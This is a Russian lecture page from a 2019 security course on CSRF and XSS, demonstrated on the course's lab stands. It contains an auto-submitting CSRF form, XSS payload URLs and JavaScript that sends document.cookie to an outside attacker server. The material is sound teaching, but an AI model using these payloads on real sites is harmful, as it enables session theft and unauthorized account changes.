Введение в практическую безопасность (2019)/Атаки на клиента веб-приложения - CSRF & XSS
При атаке на клиента атакующий пытается вынудить браузер клиента (жертвы атаки) выполнить какое-то действие с веб-приложением. Причина почему это может быть полезно атакующему - браузер клиента может быть аутентифицирован в приложении, запросы от него могут быть отличимы сервером, то есть сервер может понимать, что данный запрос сделан от имени конкретного пользователя.
Содержание
Аутентификация
Существуют различные способы, которыми сервер может отличать, от какого клиента пришёл запрос.
Сессии на основе Cookie
Наиболее часто используемый способ аутентификации в современный веб-приложениях - это cookie (википедия, MDN). Работает это очень просто: в HTTP-ответе сервер отправляет заголовок Set-Cookie: COOKIENAME=SOMEUNIQUEVALUE
, где SOMEUNIQUEVALUE
- какое-то значение, уникальное для этой сессии (идентификатор сессиии), COOKIENAME
- имя сессионного идентификатора, имя, с которым ассоциировано это уникальное значение. Получив это значение, браузер запомнит его и будет отправлять на этот сайт с каждым последующим запросом в заголовке Cookie
(кстати, что именно значит "на этот сайт" очень интересно - кука будет отправлена если обращаться на другой TCP, порт а также по дефолту на все поддомены. В доке MDN есть про это). По тому что в запросе в заголовке Cookie
будет это уникальное значение сервер будет понимать, что этот запрос относится к этой сессии, в том числе, если эта сессия принадлежит какому-то клиенту, что этот запрос от этого клиента. Для примера можно залогиниться на http://pwnitter.stands.course.secsem.ru/ (для этого надо сначала зарегиться). При логине на сервер отправится такой запрос
POST /login HTTP/1.1 Host: pwnitter.stands.course.secsem.ru ... Content-Type: application/x-www-form-urlencoded Content-Length: 24 ... login=test&password=test
В ответ сервер присылает заголовок Set-Cookie: session=eyJ1c2VyIjoidGVzdCIsInVzZXJfaWQiOjN9.D3Az7g.wEXp46Qb6OpIPnwIYspV_cIUgug; Path=/
. Все последующие запросы клиента содержат заголовок с этим значением Cookie: session=eyJ1c2VyIjoidGVzdCIsInVzZXJfaWQiOjN9.D3Az7g.wEXp46Qb6OpIPnwIYspV_cIUgug
. В качестве эксперимента можно убрать этот загловок или изменить его (скажем, удалить половину) и посмотреть, как изменится ответ сервера при запросе относящихся к конкретному пользователю ресурсов (к примеру GET /api/get
).
Также можно попробовать залогиниться на каком-нибудь реальном сайте (скажем, vk.com или mail.ru) и посмотреть (например через Burp) на заголовки HTTP-запросов и ответов.
Другие варианты аутентификации
Протокол HTTP сам по себе поддерживает несколько вариантов аутентификации через заголовок Authorization
, также при использовании HTTPS возможна аутентификация по клиентскому сертификату, наконец, возможны более простые варианты, например, по IP-адресу.
Все перечисленные варианты обладают одним общим свойством - любой запрос, отправленный аутентифицированным браузером на сайт, будет автоматически обладать аутентифицирующим признаком (например содержать аутентифицирующий токен - куку/учетные данные/...) и будет считаться сервером как сделанный от имени этого клиента. Это удобно, но это может помочь атакующему, если тот сможет вынудить браузер жертвы отправить запрос, который ни жертва, ни разработчик сайта, отправлять не собирались. (Кстати, таким свойством обладает не любой способ аутентификации. К примеру, если аутентифицировать запросы по кастомному заголовку или кастомному параметру запроса, то их браузер автоматически не пошлёт - правда, в случае кастомного заголовка всё взаимодействие с сервером придётся осуществлять через JavaScript, в целом, программирование сайта будет несколько сложнее).
Cross-site request forgery
Прямой эксплуатацией описанного выше свойства является атака Cross-site request forgery (CSRF, OWASP, википедия). Эта атака имеет смысл когда существует существует запрос к серверу, который может внести на сервере какие-то изменения, причем эффект запроса зависит от того, какой пользователь его сделал (к примеру, запрос имеет право только определенный пользователь). Например, на сайте http://zp.stands.course.secsem.ru/ у пользователей есть возможность изменить свой номер карты, записанный в профиле. В личном кабинете есть форма, посылающая на сервер запрос на изменение номера карты. Изменение делается запросом вида
POST /lk HTTP/1.1 Host: zp.stands.course.secsem.ru ... Cookie: session=eyJwYXNzd29yZCI6InRlc3QiLCJ1c2VybmFtZSI6InRlc3QifQ.XI7Y8g.pVkMZg6ZzsBYm8vZZw-PxGDMXaQ ... card_number=372757798399775
При этом то, в чьем профиле будет изменён номер карты, определяется именно кукой (отпрака этого запроса без куки или с невалидной кукой приводит к ошибке 400 BAD REQUEST
). Допустим, атакующий хочет изменить номер карты в профиле жертвы на свой - на 6011720544333229. Он может создать страницу с HTML-кодом
<form action="http://zp.stands.course.secsem.ru/lk" method="POST"> <input name="card_number" value="6011720544333229"> </form> <script> document.forms[0].submit(); </script>
Эта страница содержит форму, отправка которой приводит к созданию как раз такого запроса на изменение номера карты как тот что создаёт сайт (атрибут action
формы задаёт URL, на который будет отправлен запрос при отправке формы, method
задаёт метод, параметры запроса определяются input
'ами, при этом атрибут name
задаёт название параметра, значением будет значение, заданое в input
'е, атрибут value
задаёт изначальнок значение). JS-код document.forms[0].submit();
автоматически отправляет форму.
Если атакующему удастся каким-то образом заманить жертву на такую страницу (к примеру, он встроит её в сайт который жертва иногда посещает или атакующий может убедить жертву пройти по присланной ссылке), то при её посещении форма автоматически отправится и данные в профиле изменятся (в данном случае - номер карты поменяется на 6011720544333229, это можно легко проверить, сохранив приведенный выше HTML-код в HTML-файл, скажем, test.html
и открыв его в браузере, будучи залогиненым на сайте, к стенду zp.stands.course.secsem.ru подходят логин/пароль test
/test
). Это и есть атака CSRF. В реальности могут быть и более серьёзные действия, которые можно сделать через CSRF, например удалить аккаунт или дать другому пользователю админские права или, скажем, сменить пароль.
Следует отметить что, если бы действие на сайте выполнялось не через POST
-запрос, а через простой GET
с передачей всех параметров в URL, атакующему было бы проще - никакую форму делать бы не пришлось, достаточно было бы перенаправить браузер жертвы на выполняющий действие URL, уже содержащий нужные атакующему параметры (перенаправление можно сделать со своего сервера через HTTP-редирект или из JavaScript кодом location.href = "http://google.com/search?q=csrf"
) или, если атакующему удаётся заставить жертву перейти по присланной ссылке, просто дать жертве сразу выполняющую действие ссылку. Есть и другие способы заставить браузер жертвы сделать GET
-запрос - к примеру, разместить на посещаемой жертвой странице скрипт или стиль или картинку с адресом - URL, соответствующим действию на сайте. Даже если на этот запрос не будет возвращаться валидный скрипт/стиль/картинка, чтобы это понять, браузеру придется сначала сделать запрос. Это одна из причин почему считается, что GET
-запросы (а также запросы с другими safe методами) никогда не должны изменять состояние сервера, изменения должны делаться только через POST
или другой unsafe метод. Про safe/unsafe методы: RFC, MDN.
JavaScript и Same-origin policy
Страницы, загруженные в браузере с одних сайтов, могут вызывать запросы к другим сайтам, как было рассмотрено выше (загрузка картинок, стилей, скриптов, перенаправления, автоматическая отправка форм). Однако, JavaScript - код может не только отправлять запросы, но и читать ответы на них, а также делать что-то с прочитанными данными, в т. ч. передавать их еще куда-то. С помощью HTML-тега iframe
(MDN) можно создавать внутри страницы вложенные страницы и JS-код может читать их содержимое. Также, у JS-кода на веб-страницах есть собственные интерфейсы для отправки HTTP-запросов и чтения ответов - XMLHttpRequest
(MDN) и более новый fetch
(MDN). Если бы JS-код с любого сайта мог делать запросы на любой другой и читать ответы на них, получилось бы совсем небезопасно - любой недоверенный сайт, посещенный пользователем, мог бы тут же запросить страницы его интернет-банка, его сообщений из социальных сетей, почты и т. д. и украсть всю информацию оттуда.
Чтобы побороться с этой проблемой, был введён принцип Same-origin policy (SOP, W3C, MDN, википедия) - соглавно нему, JS-код на странице, загруженной с одного сайта, не может читать ответы на запросы к другому сайту, а также получать доступ к содержимому iframe
с другого сайта. Опять возникает вопрос, что значит "с одного сайта" - более точно, SOP запрещает чтение ответа (а также, в некоторых случаях, ограничивает отправку запроса) у страницы с которой делается запрос и сайта, куда он посылается, отличается origin (MDN) - тройка из протокола, хоста и порта. Т. е. если хотя бы один их этих параметров отличается (запрос делается с другим протоколом, скажем, http вместо https) или на другой порт или на другой хост (т. е. другое доменное имя или ip-адрес) то такой запрос будет считаться кросс-доменным и будет попадать под ограничение SOP. Существует несколько механизмов, которые позволяют сайтам управлять этими ограничениями - их можно ослабить, позволив одному сайту читать данные с другого с помощью CORS и, наоборот, усилить (скажем, запретив включать с другого сайта даже картинки) с помощью CSP.
В любом случае, в итоге, по умолчанию в современном интернете JS-код на страницах одного сайта (evil.com) не может прочесть данные с другого сайта (victim.site). Однако, что если бы атакующему удалось поместить свой JS-код на страницы c того же сайта, атакуемого, прямо на victim.site?
Cross-site scripting
В случае, если атакующему удаётся выполнить свой JS-код на странице атакуемого сайта, это позволяет провести уже более серьёзную атаку - Cross-site scripting (XSS, OWASP, MDN, википедия). Поскольку страница, на которой выполняется код, принадлежит атакуемому сайту, у неё будет его origin, то этот код сможет читать как содержимое этой страницы, так и делать запросы к этому сайту и читать ответы на них, получая полный доступ ко всему на этом сайте, к чему имеет доступ сам пользователь.
Reflected XSS
Простейшим вариантом XSS является Reflected XSS (также называемый XSS типа 1), при которой часть запроса на сайт включается без достаточной фильтрации (например, вообще без изменений) в ответ на этот запрос. К примеру, у сайта http://pwnitter.stands.course.secsem.ru/ есть страничка приветствия только что зарегистрированного пользователя: http://pwnitter.stands.course.secsem.ru/registration-complete?name=newuser. Она работает так что берётся параметр name
из query string запроса и as-is помещается в ответ, после надписи Hello,
, получается приветствие. В случае, если в параметре name
будут управляющие символы HTML, они также будут помещены на страницу и с помощью них могут быть сформированы HTML-тэги. Для браузера они будут выглядеть как часть разметки страницы, сгенерированной сервером и он проинтерпретирует их соответствующим образом, он не знает что эта часть страницы пришла из запроса пользователя (на самом деле в Google Chrome есть защитный механизм XSS auditor, который пытается это понимать и блокирует такие запросы, поэтому экспериментировать лучше в Firefox). В результате, при переходе по ссылке http://pwnitter.stands.course.secsem.ru/registration-complete?name=%3Cscript%3Ealert('SCRIPT+FROM+ATTACKER');%3C/script%3E браузер получит страницу, содержащую тег <script>alert('SCRIPT FROM ATTACKER');</script>
, что на Firefox должно привести выполнению JS-кода alert('SCRIPT FROM ATTACKER');
и появлению окошка с надписью SCRIPT FROM ATTACKER
(а в Chrome - к странице с сообщением о блокировке с надписью . В итоге, если атакующий может, как и в предыдущем сценарии с CSRF, убедить жертву перейти по переданной ссылке (или зайти на контроллируемый атакующим сайт что в данном случае равноценно т.к. можно сделать ERR_BLOCKED_BY_XSS_AUDITOR
)iframe
или редирект), то атакующий сможет получит доступ и украсть любые данные, доступные жертве.
Эксплуатация XSS
Конкретнее, атакующий может
- получить cookie через свойство
document.cookie
. По-умолчанию JavaScript-код может считывать значения кук и менять их. Это протейший способ эксплуатации XSS, после кражи сессионного идентификатора атакующий может просто уже самостоятельно делать запросы, передавая его в заголовкеCookie
, сайт будет воспринимать эти запросы как пришедшие от пользователя-жертвы, так что дальше атакующий сможет получить доступ ко всем данным жетвы, просто запрашивая их. Чтение куки из JS-кода можно запретить, выставив атрибут кукиHttpOnly
(MDN, OWASP), он выставляется вместе с кукой в заголовке ответаSet-Cookie: session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.XI9rjw.-tX3LIQ-cwyUnNlOuQqyVXBu99A; HttpOnly; Path=/
. Проверить, сработает ли кража куки можно, залогинившись и обратившись кdocument.cookie
(в браузерной консоли или по-другому из JS кода). Например, можно будучи залогиненым перейти по урлу http://pwnitter.stands.course.secsem.ru/registration-complete?name=%3cscript%3ealert('STOLENCOOKIE:+'+%2b+document.cookie);%3c/script%3e (обратите внимание, что тут плюс (+
) закодирован URL-кодированием и выглядит как%2b
- без этого он по правилам URL-кодирования превратился бы в пробел. - читать (и изменять) страницу, на которой выполняется JS-код. JavaScript-код может произвольным образом манипулировать страницей, используя интерфейс Document Object Model (DOM, википедия, MDN). К примеру, весь HTML-код страницы можно считать таким кодом
var wholePage = document.documentElement.outerHTML;
- делать HTTP-запросы к сайту и читать ответы на них, используя XMLHttpRequest и fetch
- выводить считанные данные на сервер атакующего. Как уже обсуждалось выше, JS-код на странице может делать запросы к другим сайтам (по умолчанию читать ответы не получится, но, во-первых, для вывода украденных данных достаточно сделать запрос, во-вторых, в крайнем случае атакующий может включить на своём cервере CORS).
- Для отправки запроса, содержащего украденные данные, можно использовать XMLHttpRequest/fetch
- есть еще более простой трюк - создать в JS-коде изображение с URL, хостом которого будет сервер атакующего, а в пути или query string будут украденные данные. При попытке загрузить изображение по этому URL браузер отправит запрос, включающий украденные данные, атакующий увидит его, скажем, в логах своего сервера. Например, такой код
var i = new Image;var stolenCookie = document.cookie; i.src = 'https://utkautkautkautkautka.pythonanywhere.com/stolen?data=' + stolenCookie
приведёт к тому что браузер откроет URL https://utkautkautkautkautka.pythonanywhere.com/stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk и а логах этого сервера появится запись"GET /stolen?data=session=eyJ1c2VyIjoibGlsIiwidXNlcl9pZCI6M30.D3EBFA.F9g-ANJQvCGlewtSVEbYIYfyLXk HTTP/1.1" 404
, содержащая украденную куку. - При выводе данных атакующему может помогать кодировать данные (чтобы, скажем, они не образались по какому-нибудь символу-разделителю). Очень полезна функция
btoa
, которая кодирует строку в base64. Другим вариантом может быть URL-кодирование (encodeURIComponent
).
Stored XSS
Stored XSS (или XSS типа 2) имеет место, когда атакующий JS-код сохраняется на сервере и возвращается не в ответ на запрос, передающий этот код (или не только на него), но и на другие запросы, уже не содержащие атаку. На стенде http://pwnitter.stands.course.secsem.ru/ примером stored XSS является XSS в личных сообщениях. Текст личного сообщения никак не фильтруется и подставляется в страницу входящих сообщений as-is, что позволяет внедрить произвольный JS-код. Stored XSS намного опаснее, т. к., во-первых, вредоносный код сохраняется на сервере и может отработать несколько раз без дополнительных действий со стороны атакующего, во-вторых, жетва не должна как-то "подыгрывать" атакующему, переходя по подозрительным ссылкам или заходя на недоверенные сайты; жетва может делать вполне обычные действия, посещая вполне легитимные страницы сайта (в данном случае - простматривая личные сообщения) и при этом подвергнуться атаке.
DOM-based XSS
DOM-based XSS (DOMXSS или XSS типа 3) - XSS, вызванная действиями клиентского JS-кода, а не сервера. JavaScript-код может произвольным образом менять сожержимое страницы, в т. ч. добавить на неё новый скрипт, что может привести к его выполнению. Кроме того, у JavaScript есть ряд способов непосредственно выполнить новый JS-код (eval
,Function
и не только). В итоге, ошибка в клиентском коде (в простейшем случае - опять же, подстановка пользовательских данных на страницу без должной фильтрации) может приводить к XSS, при этом вредоносный код может даже не отправляться на сервер и атака может пройти для сервера полностью незамеченной. Примером DOMXSS на стенде http://pwnitter.stands.course.secsem.ru/ является XSS в "твитах". Они грузятся с сервера асинхронно JS-кодом (с помощью XMLHttpRequest) и помещаются в код страницы через присваивания свойства innerHTML
(MDN). Никакой фильтрации опять-таки не производится, что позволяет внедрить на страницу разметку. Что интересно, код в теге script
при этом не выполнится - он не выполняется автоматически при добавке script
через innerHTML
. Однако, здесь может сработать другой, более универсальный вектор - обработчик события. Одним из наиболее часто используемых векторов атаки является тег img
с невалидным урлом и обработчиком ошибки: <img src=invalidsource onerror="alert('XSS')">
. В принципе, DOMXSS тоже можно классифицировать как Reflected и Stored, в зависимости от того, берет ли уязвимый клиентский код атакующие данные из запроса клиента или же они где-то сохранены. В данном случае, скорее, Stored, так как "твит" сохранится на сервере и будет отдаваться в списке, что приведет к атаки на любых пользователей, которые, скажем, зашли посмотреть список рандомных твитов.
XSS vs CSRF
Хорошим тестом на понимание является ответ на вопрос - что сильнее, XSS или CSRF и нужно ли искать/может ли быть полезным CSRF если уже удаётся эксплуатировать на сайте XSS.